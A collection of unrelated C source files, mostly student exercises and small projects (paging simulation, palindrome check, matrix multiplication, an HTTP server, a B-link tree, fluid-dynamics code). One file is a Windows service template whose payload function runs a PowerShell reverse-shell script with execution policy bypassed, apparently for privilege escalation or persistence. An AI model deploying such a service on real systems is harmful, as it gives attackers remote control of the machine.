char buf[1000];
for (int i = 0; i< skipline; i++){
fin.getline( buf, 1000 );
}
do{
fin >> x >> y >> z;
if( fin.fail() )
break;
vec3d new_pos(x,y,z);
pos.push_back(new_pos);
} while (!fin.eof());
/*
* Set center-of-mass to (0,0,0)
*/
vec3d com = calcCenterOfMass(pos);
for (int i=0; i < pos.size() ; i++){
pos[i] -= com;
}
}
void calcDragAndTorque(int argc, char** argv){
SDsystem sd_sys;
/* Shear-rate or typical velocity is set one.
*
*/
if (argc != 5){
/* POSITIONS indicates the path to a file including (x,y,z) of particles
*
*/
cerr << "Usage: stodyn u POSITIONS skipline lub" << endl;
cerr << "Usage: stodyn s POSITIONS skipline lub" << endl;
cerr << "lub=0 : Stokesian dynamics without lublication correction" << endl;
cerr << "lub=1 : Stokesian dynamics with lublication correction " << endl;
cerr << "This calculation will be conducted by dimensionless variables." << endl;
cerr << "The unit of length is given by the radius of particle." << endl;
cerr << "The unit of velocity is given by the velocity of uniform flow." << endl;
cerr << "Or, the unit of velocity is given by the product of the shear rate and the unit of length." << endl;
cerr << "Here, U=1.0 is used for uniform flow." << endl;
cerr << "G=1.0 is used for shear flow." << endl;
cerr << "F=U is expected for one-body solution." << endl;
cerr << "===================" << endl;
cerr << "For rescaling:" << endl;
cerr << "* Uniform flow. " << endl;
cerr << " a and U are given." << endl;
cerr << "L0 = a, U0 = U, F0 = 6*M_PI*eta*L0*U0" << endl;
cerr << "* Shear flow. " << endl;
cerr << " a and G are given." << endl;
cerr << "L0 = a, U0 = G*a, F0 = 6*M_PI*eta*L0*U0" << endl;
cerr << "-------------------" << endl;
cerr << "F ---> F*F0 " << endl;
cerr << "T ---> T*F0*L0 " << endl;
cerr << "-------------------" << endl;
return;
}
vector <vec3d> pos;
char type_of_flow = argv[1][0];
char *cluster_file = argv[2];
int skip_line = atoi(argv[3]);
int lub_correction = atoi(argv[4]);
sd_sys.setFlowType(type_of_flow);
/* init() is called in this function*/
importCluster(cluster_file, skip_line, pos);
int np = (int)pos.size();
sd_sys.initFlowModel(np, lub_correction, true);
for (int i = 0; i < np; i++){
sd_sys.setPositionSD(i, pos[i]);
}
sd_sys.setMotionRigidCluster(0,0,0,0,0,0); // (vx,vy,vz,ox,oy,oz)
sd_sys.setSDIterationMethod();
sd_sys.solveStokesianDynamics();
ofstream fout;
char fout_name[128];
sprintf(fout_name, "DragTorque_%s.dat", sd_sys.infoString());
fout.open( fout_name );
fout << "# N " << sd_sys.np << endl;
fout << "# x y z vx vy vz ox oy oz fx fy fz tx ty tz"<< endl;
for (int i = 0; i < sd_sys.np; i ++){
vec3d position = sd_sys.Position(i);
vec3d velocity = sd_sys.Velocity(i);
vec3d omega = sd_sys.Omega(i);
vec3d force = -sd_sys.Force(i);
vec3d torque = -sd_sys.Torque(i);
outputVector(fout, position);
outputVector(fout, velocity);
outputVector(fout, omega);
outputVector(fout, force);
outputVector(fout, torque);
fout << endl;
}
fout.close();
}
#endif
|
C
|
#include <windows.h>
#include <stdio.h>
#define SLEEP_TIME 5000
SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE hStatus;
void ServiceMain(int argc, char** argv);
void ControlHandler(DWORD request);
//add the payload here
int Run()
{
/* system("whoami > c:\\windows\\temp\\service.txt"); */
system("powershell -nop -ep bypass -c C:\\Users\\user\\Desktop\\Tools\\RevShell.ps1");
return 0;
}
int main()
{
SERVICE_TABLE_ENTRY ServiceTable[2];
ServiceTable[0].lpServiceName = "MyService";
ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
ServiceTable[1].lpServiceName = NULL;
ServiceTable[1].lpServiceProc = NULL;
StartServiceCtrlDispatcher(ServiceTable);
return 0;
}
void ServiceMain(int argc, char** argv)
{
ServiceStatus.dwServiceType = SERVICE_WIN32;
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
hStatus = RegisterServiceCtrlHandler("MyService", (LPHANDLER_FUNCTION)ControlHandler);
Run();
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus (hStatus, &ServiceStatus);
while (ServiceStatus.dwCurrentState == SERVICE_RUNNING)
{
Sleep(SLEEP_TIME);
}
return;
}
void ControlHandler(DWORD request)
{
switch(request)
{
case SERVICE_CONTROL_STOP:
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &ServiceStatus);
return;
case SERVICE_CONTROL_SHUTDOWN:
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &ServiceStatus);
return;
default:
break;
}
SetServiceStatus (hStatus, &ServiceStatus);
return;
}
|
C
|
#include <stdio.h>
#include<string.h>
void pelindrom(char a[] , int l , int l1)
{
static int j=0,i=0;
if(i==l1/2)
printf("Your string is pelindrom.");
else if(a[i]==a[l-1] && i<l1/2 && j!=l1)
{
i=i+1;
j=j+1;
pelindrom(a,l-1,l1);
}
else
printf("Your string is not pelindrom.");
}
int main()
{
char a[50];
int i,l,l1;
printf("Enter a string : ");
scanf("%s",a);
l=strlen(a);
l1=l;
pelindrom(a,l,l1);
}
|
C
|
/****************************** (C) COPYRIGHT 2016 *******************************
*
* ܣij˷
* Ҫ㣺
* ע⣺άʹúͬһά飬ָ룬ָ飬ָ
*
********************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
void Init2(int arr[][2]);
void Init1(int arr[][3]);
void Mul(int a[][3], int b[][2], int res[][2]);
void Output(int res[][2]);
/*************************************************
Function: main
Description:
Calls: scanf printf
Called By:
Input:
Output:
Return: 0
*************************************************/
int main(void)
{
int a[2][3];
int b[3][2];
int res[2][2] = {0};
Init1(a);
Init2(b);
//Output(res);
Mul(a, b, res);
Output(res);
}
/*************************************************
Function: Init
Description: ʼ
Calls: scanf printf
Called By:
Input:
Output:
Return: 0
*************************************************/
void Init1(int arr[][3])
{
int i, j;
for (i = 0; i < 2; i++)
{
for (j = 0; j < 3; j++)
{
scanf("%d", &arr[i][j]);
}
}
}
/*************************************************
Function: Init
Description: ʼ
Calls: scanf printf
Called By:
Input:
Output:
Return: 0
*************************************************/
void Init2(int arr[][2])
{
int i, j;
for (i = 0; i < 3; i++)
{
for (j = 0; j < 2; j++)
{
scanf("%d", &arr[i][j]);
}
}
}
/*************************************************
Function: Plus
Description:
Calls: scanf printf
Called By:
Input:
Output:
Return: 0
*************************************************/
void Mul(int a[][3], int b[][2], int res[][2])
{
int i, j, k;
for (i = 0; i < 2; i++)
{
for (k = 0; k < 2; k++)
{
for (j = 0; j < 3; j++)
{
res[i][k] += a[i][j] * b[j][k];
//printf("%d\n", res[i][k]);
}
}
}
}
/*************************************************
Function: Output
Description:
Calls: scanf printf
Called By:
Input:
Output:
Return: 0
*************************************************/
void Output(int res[][2])
{
int i, j;
for (i = 0; i < 2; i++)
{
for (j = 0; j < 2; j++)
{
printf("%d\t", res[i][j]);
}
printf("\n");
}
}
|
C
|
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <errno.h>
void catch_signalrm(int signo)
{}
unsigned int mysleep(unsigned int seconds)
{
struct sigaction act, oldact;
int ret;
act.sa_handler = catch_signalrm;
sigemptyset(&act.sa_mask);
act.sa_flags = 0;
ret = sigaction(SIGALRM, &act, &oldact);
if(ret == -1)
{
perror("sigaction error");
exit(1);
}
alarm(seconds);
ret = pause();
if(ret == -1 && errno == EINTR)
printf("pause sucess");
ret = alarm(0);
sigaction(SIGALRM, &oldact, NULL);
return ret ;
}
int main(void)
{
while(1)
{
mysleep(3);
printf("-----\n");
}
return 0;
}
|
C
|
/**
* author: UncP
* date: 2018-11-20
* license: BSD-3
**/
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <stdio.h>
#include "../palm/allocator.h"
#include "node.h"
blink_node *new_blink_node(uint8_t type, uint8_t level)
{
#ifdef Allocator
blink_node *bn = (blink_node *)allocator_alloc(get_node_size());
#else
blink_node *bn = (blink_node *)malloc(get_node_size());
#endif
latch_init(bn->lock);
node_init(bn->pn, type | Blink, level);
return bn;
}
void free_blink_node(blink_node *bn)
{
#ifdef Allocator
allocator_free((void *)bn);
#else
free((void *)bn);
#endif
}
void free_blink_tree_node(blink_node *bn)
{
(void)bn;
// TODO
}
inline void blink_node_rlock(blink_node *bn)
{
latch_rlock(bn->lock);
}
inline void blink_node_wlock(blink_node *bn)
{
latch_wlock(bn->lock);
}
inline void blink_node_unlock(blink_node *bn)
{
latch_unlock(bn->lock);
}
blink_node* blink_node_descend(blink_node *bn, const void *key, uint32_t len)
{
return (blink_node *)node_descend(bn->pn, key, len);
}
int blink_node_insert(blink_node *bn, const void *key, uint32_t len, const void *val)
{
return node_insert(bn->pn, key, len, val);
}
void* blink_node_search(blink_node *bn, const void *key, uint32_t len)
{
return node_search(bn->pn, key, len);
}
void blink_node_split(blink_node *old, blink_node *new, char *pkey, uint32_t *plen)
{
node_split(old->pn, new->pn, pkey, plen);
node_insert_fence(old->pn, new->pn, (void *)new, pkey, plen);
}
int blink_node_need_move_right(blink_node *bn, const void *key, uint32_t len)
{
return node_need_move_right(bn->pn, key, len);
}
void blink_node_insert_infinity_key(blink_node *bn)
{
char key[max_key_size];
memset(key, 0xff, max_key_size);
assert(blink_node_insert(bn, key, max_key_size, 0) == 1);
}
#ifdef Test
void blink_node_print(blink_node *bn, int detail)
{
node_print(bn->pn, detail);
}
#endif /* Test */
|
C
|
#include <stdio.h>
#include <string.h>
int main()
{
int cases, i = 1;
char s[80], r[80];
char h[][20] = { "tesoura", "papel", "pedra", "lagarto", "Spock" };
scanf ( "%d", &cases );
while ( i <= cases )
{
scanf ( "%s %s", s, r );
if ( strcmp ( s, r ) == 0 ) printf ( "Caso #%d: De novo!\n", i );
else if ( strcmp ( s, h[0] ) == 0 && ( strcmp ( r, h[1] ) == 0 || strcmp ( r, h[3] ) == 0 ) ) printf ( "Caso #%d: Bazinga!\n", i );
else if ( strcmp ( s, h[1] ) == 0 && ( strcmp ( r, h[2] ) == 0 || strcmp ( r, h[4] ) == 0 ) ) printf ( "Caso #%d: Bazinga!\n", i );
else if ( strcmp ( s, h[2] ) == 0 && ( strcmp ( r, h[3] ) == 0 || strcmp ( r, h[0] ) == 0 ) ) printf ( "Caso #%d: Bazinga!\n", i );
else if ( strcmp ( s, h[3] ) == 0 && ( strcmp ( r, h[4] ) == 0 || strcmp ( r, h[1] ) == 0 ) ) printf ( "Caso #%d: Bazinga!\n", i );
else if ( strcmp ( s, h[4] ) == 0 && ( strcmp ( r, h[0] ) == 0 || strcmp ( r, h[2] ) == 0 ) ) printf ( "Caso #%d: Bazinga!\n", i );
else printf ( "Caso #%d: Raj trapaceou!\n", i );
i++;
}
return 0;
}
|
C
|
#include <stdlib.h>
#include <stdio.h>
int main()
{
float n1, n2;
FuerzaYSuperficie(n1, n2);
}
void FuerzaYSuperficie(float num1, float num2)
{
float pre=0;
printf("Ingrese la fuerza ");
scanf("%f",&num1);
printf("Ingrese la superficie ");
scanf("%f",&num2);
pre=num1/num2;
system("cls");
printf("La presion es %2.f",pre);
return 0;
}
|
C
|
/* Write C programs to simulate the following memory management techniques
a) Paging b) Segmentation */
// a) Paging
#include <stdio.h>
struct pstruct
{
int fno;
int pbit;
}ptable[10];
int pmsize,lmsize,psize,frame,page,ftable[20],frameno;
void info()
{
printf("Enter the Size of Physical memory: ");
scanf("%d",&pmsize);
printf("\nEnter the size of Logical memory: ");
scanf("%d",&lmsize);
printf("\nEnter the partition size: ");
scanf("%d",&psize);
frame = (int) pmsize/psize;
page = (int) lmsize/psize;
printf("\nThe physical memory is divided into %d no.of frames\n",frame);
printf("\nThe Logical memory is divided into %d no.ofpages\n",page);
}
void assign()
{
int i;
for (i=0;i<page;i++)
{
ptable[i].fno = -1;
ptable[i].pbit= -1;
}
for(i=0; i<frame;i++) {
ftable[i] = 32555;
}
for (i=0;i<page;i++)
{
printf("\nEnter the Frame number where page %d must be placed: ",i);
scanf("%d",&frameno);
ftable[frameno] = i;
if(ptable[i].pbit == -1)
{
ptable[i].fno = frameno;
ptable[i].pbit = 1;
}
}
printf("\nPAGE TABLE\n\n");
printf("------------------------------------------\n");
printf("PageAddress FrameNo. PresenceBit\n");
printf("------------------------------------------\n");
for (i=0;i<page;i++) {
printf("%d\t\t%d\t\t%d\n",i,ptable[i].fno,ptable[i].pbit);
}
}
void main()
{
system("clear");
info();
assign();
}
|
C
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* errors.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: yforeau <yforeau@student.42.fr> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2020/01/15 18:12:02 by yforeau #+# #+# */
/* Updated: 2020/02/03 16:46:37 by yforeau ### ########.fr */
/* */
/* ************************************************************************** */
#include "libft.h"
#include "errors.h"
void error_unknown_token(int len, const char *str, int line_id)
{
ft_dprintf(2, "lexer: unknown token '%.*s' at line %d\n",
len, str, line_id + 1);
ft_exit(NULL, E_UNKNOWN_TOKEN);
}
void error_unexpected_token(int len, const char *str, int line_id)
{
ft_dprintf(2, "parser: unexpected token '%.*s' at line %d\n",
len, str, line_id + 1);
ft_exit(NULL, E_UNEXPECTED_TOKEN);
}
void error_command_without_argument(int len, const char *str, int line_id)
{
ft_dprintf(2, "parser: command '%.*s' has no argument at line %d\n",
len, str, line_id + 1);
ft_exit(NULL, E_COMMAND_WITHOUT_ARGUMENT);
}
|
C
|
//
#define _CRT_SECURE_NO_WARNINGS
//#include<stdio.h>
////1.将数组A中的内容和数组B中的内容进行交换。(数组一样大)
//void swap(int arr1[]; int arr2[]; int leng)
//{
// int i = 0;
// for (i = 0; i < leng; i++)
// {
// int t = arr1[i];
// arr1[i] = arr2[i];
// arr2[i] = t;
// }
//}
//int main()
//{
// int i = 0;
// int arr1[5] = { 1, 2, 3, 4, 5 };
// int arr2[5] = { 5, 4, 3, 2, 1 };
// swap(arr1, arr2, sizeof(arr1) / sizeof(arr1[0]));
// for (i = 0; i < sizeof(arr2) / sizeof(arr2[0]); i++)
// {
// printf("%d ", arr1[i]);
// }
// printf("\n");
// for (i = 0; i < sizeof(arr1) / sizeof(arr1[0]);i++)
// {
// printf("%d ", arr2[i]);
// }
// return 0;
//}
//2. 计算1 / 1 - 1 / 2 + 1 / 3 - 1 / 4 + 1 / 5 …… + 1 / 99 - 1 / 100 的值。
//3. 编写程序数一下 1到 100 的所有整数中出现多少次数字9。
//1.完成猜数字游戏。
//
//#include<stdio.h>
//#include<stdlib.h>
//#include<time.h>
//void game()
//{
// int random_num = rand() % 100 + 1;
// int num=0;
// while (1)
// {
// printf("请输入所猜的数>:");
// scanf("%d", &num);
// if (num > random_num)
// {
// printf("猜大了\n");
// }
// else if (num < random_num)
// {
// printf("猜小了\n");
// }
// else
// {
// printf("猜对了\n");
// }
// }
//}
//void meu()
//{
// printf("************************\n");
// printf("******* 1、play ********\n");
// printf("******* 2、exit ********\n");
// printf("************************\n");
//
//}
//int main()
//{
// int input=0;
// srand((unsigned)time(NULL));
// do{
// meu();
// printf("请选择>:");
// scanf("%d", &input);
// switch (input)
// {
// case 1:game();
// break;
// case 0:printf("退出程序");
// break;
// default:
// printf("请重新输入\n");
// break;
// }
// } while (input);
// return 0;
//}
//2.写代码可以在整型有序数组中查找想要的数字,找到了返回下标,找不到返回 - 1.(折半查找)
//
//int main()
//{
// int num=0;
// int key = 7;
// int arr[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9,10 };
// int left = 0;
// int right = sizeof(arr) / sizeof(arr[0])-1;
// while (left <= right)
// {
// num = left + (right-left) / 2;
// if (arr[num] < key)
// {
// left = num+1;
// }
// else if (arr[num] > key)
// {
// right = num - 1;
// }
// else
// break;
//
// }
// if (left <= right)
// {
// printf("找到了,下标是%d\n", num);
// }
// else
// printf("没找到\n");
// return 0;
//}
//3.编写代码模拟三次密码输入的场景。
//最多能输入三次密码,密码正确,提示“登录成功”, 密码错误,可以重新输入,最多输入三次。三次均错,则提示退出程序。
//
//int main()
//{
// int i = 0;
// char psw[10] = "";
// while (i <= 3)
// {
// printf("please input:");
// scanf("%s", psw);
// if (0 == strcmp(psw, "password"))
// {
// printf("登录成功\n");
// }
// else
// printf("请重新输入密码:\n");
// break;
// }
// if (i > 3)
// {
// printf("退出程序\n");
// }
// return 0;
//}
//4.编写一个程序,可以一直接收键盘字符,如果是小写字符就输出对应的大写字符,如果接收的是大写字符,就输出对应的小写字符,如果是数字不输出。
//int main()
//{
// char c;
// printf("请输入字符>:");
// c = getchar();
// if (c >= 'A'&&c <= 'Z')
// {
// c += 32;
// printf("%s", c);
// }
// else if (c >= 'a'&& c <= 'z')
// {
// c -= 32;
// printf("%s", c );
// }
// else
// printf("是数字\n");
// return 0;
//}
int mian()
{
}
|
C
|
#include <stdio.h>
#include<stdlib.h>
char a[100];
struct sll
{
int data;
struct sll *next;
}*head=NULL,*temp,*newn;
void create(char d)
{
newn=(struct sll *)malloc(sizeof(struct sll));
newn->data=d;
newn->next=NULL;
if(head==NULL)
{
head=newn;
}
else
{
temp=head;
head=newn;
head->next=temp;
}
}
int rev(struct sll *head)
{
if(head==NULL)
return 0;
else
{
rev(head->next);
}
}
void print()
{
temp=head;
while(temp->next!=NULL)
{
printf("%d",temp->data);
temp=temp->next;
}
printf("%d",temp->data);
}
void main()
{
int i;
int a[100],n;
scanf("%d",&n);
for(i=0;i<n;i++)
{
scanf("%d",&a[i]);
create(a[i]);
}
rev(head);
print();
return 0;
}
|
C
|
/*
* Sieci komputerowe, Zadanie 1 (prosty serwer HTTP).
* Autor: Andrzej Stalke
* Opis pliku: Funkcja main programu.
*/
#include "tcp_handler.h"
#include "http.h"
#include "correlated.h"
/*
* Funkcja pomocnicza. Konweruje wejściowy ciąg znaków str do unsigned short
* int. Wykorzystywana do wczytania numeru portu. Jest to osobna funkcja, gdyż
* atoi nie wykrywa błędów, jest niebezpieczne i zwraca za duży typ.
* Maksymalny numer portu to liczba 16-bitowa bez znaku.
* Przerywa program, jeśli wystąpiły znaki niebędące cyframi w systemie
* dziesiętnym lub reprezentowana przez nie liczba przekorczyła 65535.
* Wartość zwracana: liczba reprezentowana przez string str.
*/
static unsigned short int string_to_portnum(char const *str) {
unsigned short int result = 0;
int i = 0;
// Iterujemy się aż napotkamy NULL.
while (str[i]) {
// Czy znak jest cyfrą dziesiętną?
if (str[i] >= '0' && str[i] <= '9') {
// Tymczasowa wartość do wykrywania przekorczenia zakresu typu.
unsigned short int temp = result;
result *= 10;
result += str[i] - '0';
if (result / 10 != temp) {
fatal("Niepoprawny numer portu.\n");
}
} else {
fatal("Niecyfry w numerze portu.\n");
}
++i;
}
return result;
}
/*
* Próbuje zlokalizować zasób. Jak go znajdzie, to wysyła odpowiedni
* komunikat do klienta. Jeśli go nie znajdzie lub wystąpi błąd, to wysyła
* odpowiedni komunikat błędu do klienta.
*
* Zwraca true, jeśli serwer powinien utrzymywać połączenie.
*/
static bool send_target(int sock, struct http_request *req,
struct corr_res_arr *corr, char const *dir) {
// Szukamy teraz pliku.
size_t dir_len = strlen(dir);
unsigned char * s = malloc(2 + req->target.length + dir_len);
if (s == NULL) {
http_send_errormessage(sock, HTTP_STATUS_SERVERERROR);
return false;
}
// Tworzymy ścieżkę ścieżka...
memcpy(s, dir, dir_len);
memcpy(s + dir_len, req->target.data, req->target.length);
s[dir_len + req->target.length] = '\0';
// Struktura zawierająca rozmiar pliku.
struct stat statbuf;
// Deskryptor pliku.
int target_file = -1;
int statret = stat((char const *restrict)s, &statbuf);
// Błąd bądź plik to katalog.
if (statret != -1 && !S_ISDIR(statbuf.st_mode)) {
// Otwieramy plik do odczytu.
target_file = open((char const *)s, O_RDONLY);
}
free(s); // Nie jest juz potrzebne.
// Nie znaleziono pliku bądź jest on katalogiem.
if (target_file == -1) {
ssize_t ret = correlated_find(corr, &req->target);
if (ret == -1) {
// Nie mamy zasobu.
return http_send_not_ok(sock, HTTP_STATUS_NOTFOUND, req->closing) == 0;
} else {
// Zasób jest w serwerach skorelowanych.
return http_send_found(sock, &corr->arr[ret], req->closing) == 0;
}
} else {
// Plik znaleziony, rzucamy 200.
uint64_t file_size = statbuf.st_size;
return http_send_ok(req, sock, target_file, file_size, req->closing) == 0;
}
}
/*
* Funkcja główna serwera.
* Program akceptuje 2 lub 3 argumenty dodatkowe:
* - Nazwa katalogu z plikami - obowiązkowy. Może być podany jako ścieżka
* względna lub bezwzględna. W przypadku ścieżki względnej serwer próbuje
* odnaleźć wskazany katalog w bieżącym katalogu roboczym.
* - Plik z serwerami skorelowanymi - obowiązkowy.
* - Numer portu serwera - opcjonalny. Wskazuje numer portu na jakim serwer
* powinien nasłuchiwać połączeń od klientów. Domyślny: 8080.
*/
int main(int argc, char *argv[]) {
// Nieprawidłowa liczba argumentów.
if (argc < 3 || argc > 4) {
fprintf(stderr, "Uzycie: %s <nazwa-katalogu-z-plikami> <plik-z-serwerami-"
"skorelowanymi> [<numer-portu-serwera>].\n", argv[0]);
exit(EXIT_FAILURE);
}
// Rejestrujemy funkcję, która zamyka używane deskryptory.
atexit(exit_cleanup);
// Zaczynamy ignorowanie SIGPIPE.
ignore_sigpipe();
// Port na jakim mam nasłuchiwać.
unsigned short int port = DEFAULT_PORT;
// Sprawdzamy, czy korzystamy z domyślnego numeru portu.
if (argc == 4) {
port = string_to_portnum(argv[3]);
}
// Ładujemy plik z zasobami skorelowanymi do struktury.
struct corr_res_arr corr = correlated_load(argv[2]);
if (corr.size == -1) {
exit(EXIT_FAILURE);
}
/*
* Otwieramy katalog (trzeba sprawdzić, czy istnieje).
* Nie używam tego do niczego, ale treść mówi, że trzeba otworzyć...
* Więc mam otwarte :)
*/
int directory = open(argv[1], O_RDONLY | O_DIRECTORY);
if (directory == -1) {
// Nie powiodło się otworzenie katalogu.
exit(EXIT_FAILURE);
}
// Rejestrujemy deskryptor do zamknięcia.
opened_descriptors[OPENED_DIRECTORY] = directory;
// Zmianna pomocnicza, gdy potrzebujemy zmiennej na wynik w switchu.
int wret;
// Otwieramy i inicjujemy gniazdo serwera.
int sock = init_tcpipv4_socket(port);
// Na sock można już wywoływać accept.
int accepted_socket = -1;
// Struktura na dane o kliencie.
struct sockaddr_in cd;
// Niezbędny parametr funkcji accept.
socklen_t cdl = sizeof(cd);
// Główna pętla serwera, która akceptuje klientów.
while ((accepted_socket = accept(sock, (struct sockaddr *)&cd, &cdl)) > 0) {
// Rejestrujemy otwarte gniazdo.
opened_descriptors[CONNECTED_CLIENT_SOCKET] = accepted_socket;
// Czyścimy bufor danych po poprzednim kliencie.
tcp_flush();
bool connected = true;
while (connected) {
struct http_request req;
http_request_init(&req);
int errorcode;
switch ((errorcode = http_read(accepted_socket, &req))) {
// Nagłówek poprawy, teraz sprawdzanie czy w ogóle mamy ten zasób.
case HTTP_STATUS_OK:
if ((wret = is_correct_path(&req.target)) == HTTP_STATUS_OK) {
connected = send_target(accepted_socket, &req, &corr, argv[1]);
} else {
if (wret == HTTP_STATUS_NOTFOUND) {
wret = http_send_not_ok(accepted_socket, HTTP_STATUS_NOTFOUND,
req.closing);
if (wret != 0) {
// Nieważne, czy się rozłączył, czy błąd. Przerywamy połączenie.
connected = false;
}
} else {
connected = false;
http_send_errormessage(accepted_socket, HTTP_STATUS_BAD_REQUEST);
}
}
break;
case HTTP_STATUS_NOT_IMPLEMENTED:
connected = (http_send_not_ok(accepted_socket,
HTTP_STATUS_NOT_IMPLEMENTED,
req.closing) == 0);
break;
// Rzucamy błąd i przerywamy połączenie.
case HTTP_STATUS_BAD_REQUEST:
case HTTP_STATUS_SERVERERROR:
http_send_errormessage(accepted_socket, errorcode);
connected = false;
break;
default:
// Nie powinny wystąpić, oznacza to błąd serwera.
http_send_errormessage(accepted_socket, HTTP_STATUS_SERVERERROR);
connected = false;
break;
}
http_request_destroy(&req);
}
// Wyrejestrowujemy gniazdo.
opened_descriptors[CONNECTED_CLIENT_SOCKET] = -1;
close(accepted_socket);
}
return EXIT_SUCCESS;
}
|
C
|
#include "trabajo.h"
#ifndef INFORMES_H_INCLUDED
#define INFORMES_H_INCLUDED
int validarIdTipo(int id, eTipo tipos[], int tam);
int validarIdColor(int id, eColor colores[], int tam);
/** \brief muestra un listado de motos del color seleccionado
*
* \param motos[] eMoto array de motos
* \param tam int tamanio del array de motos
* \param colores[] eColor array de los colores
* \param tamC int tamanio del array de los colores
* \param tipos[] eTipo array de los tipos
* \param tamT int tamanio del array de los tipos
* \return int devuelve 1 si se pudo mostrar, sino devuelve 0
*
*/
int listarMotosColor(eMoto motos[], int tam, eColor colores[], int tamC, eTipo tipos[], int tamT);
/** \brief muestra un listado de motos del tipo seleccionado
*
* \param motos[] eMoto array de motos
* \param tam int tamanio del array de motos
* \param colores[] eColor array de los colores
* \param tamC int tamanio del array de los colores
* \param tipos[] eTipo array de los tipos
* \param tamT int tamanio del array de los tipos
* \return int devuelve 1 si se pudo mostrar, sino devuelve 0
*
*/
int listarMotosTipo(eMoto motos[], int tam, eColor colores[], int tamC, eTipo tipos[], int tamT);
/** \brief muestra la o las motos (en caso de empate) de mayor cilindrada
*
* \param motos[] eMoto array de motos
* \param tam int tamanio del array de motos
* \param tipos[] eTipo array de los tipos
* \param tamT int tamanio del array de los tipos
* \param colores[] eColor array de los colores
* \param tamC int tamanio del array de los colores
* \return int devuelve 1 si se pudo mostrar, sino devuelve 0
*
*/
int mayorCilindrada(eMoto motos[], int tam, eTipo tipos[], int tamT, eColor colores[], int tamC);
/** \brief muestra un listado de motos separados por los diferentes tipos
*
* \param motos[] eMoto array de motos
* \param tam int tamanio del array de motos
* \param tipos[] eTipo array de los tipos
* \param tamT int tamanio del array de los tipos
* \param colores[] eColor array de los colores
* \param tamC int tamanio del array de los colores
* \return int devuelve 1 si se pudo mostrar, sino devuelve 0
*
*/
int listarMotosTodoTipos(eMoto motos[], int tam, eTipo tipos[], int tamT, eColor colores[], int tamC);
/** \brief te cuenta la cantidad de motos registradas del tipo y color seleccionado
*
* \param motos[] eMoto array de motos
* \param tam int tamanio del array de motos
* \param colores[] eColor array de los colores
* \param tamC int tamanio del array de los colores
* \param tipos[] eTipo array de los tipos
* \param tamT int tamanio del array de los tipos
* \return int devuelve 1 si se pudo contar, sino devuelve 0
*
*/
int contarMotosColorTipo(eMoto motos[], int tam, eColor colores[], int tamC, eTipo tipos[], int tamT);
/** \brief te muestra cual es el color o los (en caso de empates) mas elegidos, y la cantidad de veces que se eligio
*
* \param motos[] eMoto array de motos
* \param tam int tamanio del array de motos
* \param colores[] eColor array de los colores
* \param tamC int tamanio del array de los colores
* \param tipos[] eTipo array de los tipos
* \param tamT int tamanio del array de los tipos
* \return int devuelve 1 si se muestra, en el caso de que no devuelve 0
*
*/
int colorMasElegido(eMoto motos[], int tam, eColor colores[], int tamC, eTipo tipos[], int tamT);
/** \brief te pido el ingreso del id de una moto, y te muestra los trabajos que se le hicieron
*
* \param trabajo[] eTrabajo array de trabajos
* \param tamTra int el tamanio del array de trabajos
* \param motos[] eMoto array de motos
* \param tam int el tamanio del array de motos
* \param tipos[] eTipo array de los tipos
* \param tamTi int el tamanio del array de tipos
* \param colores[] eColor array de los colores
* \param tamC int tamanio del array de los colores
* \param servicio[] eServicio array de los servicios
* \param tamS int el tamanio del array de los servicios
* \return int devuelve 1 si se pudo mostrar, sino devuelve 0.
*
*/
int trabajoUnaMoto(eTrabajo trabajo[], int tamTra, eMoto motos[], int tam, eTipo tipos[], int tamTi, eColor colores[], int tamC,
eServicio servicio[], int tamS);
/** \brief te pide el ingreso del id de una moto, y te muestra los trabajos que se le hicieron y el dinero recaudado de esos trabajos
*
* \param trabajo[] eTrabajo array de trabajos
* \param tamTra int el tamanio del array de trabajos
* \param motos[] eMoto array de motos
* \param tam int el tamanio del array de motos
* \param tipos[] eTipo array de los tipos
* \param tamTi int el tamanio del array de tipos
* \param colores[] eColor array de los colores
* \param tamC int tamanio del array de los colores
* \param servicio[] eServicio array de los servicios
* \param tamS int el tamanio del array de los servicios
* \return int devuelve 1 si se pudo realizar el acumulado del importe y mostrarlo, sino devulve 0
*
*/
int importeTrabajoUnaMoto(eTrabajo trabajo[], int tamTra, eMoto motos[], int tam, eTipo tipos[], int tamTi, eColor colores[], int tamC, eServicio servicio[], int tamS);
/** \brief te pide el ingreso de un servicio y te muestra las fechas en la que se realizo ese servicio
*
* \param trabajo[] eTrabajo array de trabajos
* \param tamTra int el tamanio del array de trabajos
* \param motos[] eMoto array de motos
* \param tam int el tamanio del array de motos
* \param tipos[] eTipo array de los tipos
* \param tamTi int el tamanio del array de tipos
* \param colores[] eColor array de los colores
* \param tamC int tamanio del array de los colores
* \param servicio[] eServicio array de los servicios
* \param tamS int el tamanio del array de los servicios
* \return int devuelve 1 si se pudo mostrar las fechas, sino devuelve 0.
*
*/
int mostrarFechasMotosServicios(eTrabajo trabajo[], int tamTra, eMoto motos[], int tam, eTipo tipos[], int tamTi, eColor colores[],
int tamC, eServicio servicio[], int tamS);
/** \brief te pide el ingreso de una fecha y te muestra los trabajos que se realizaron en esa fecha y la cantidad de trabajos
*
* \param trabajo[] eTrabajo array de trabajos
* \param tamTra int el tamanio del array de trabajos
* \param motos[] eMoto array de motos
* \param tam int el tamanio del array de motos
* \param tipos[] eTipo array de los tipos
* \param tamTi int el tamanio del array de tipos
* \param colores[] eColor array de los colores
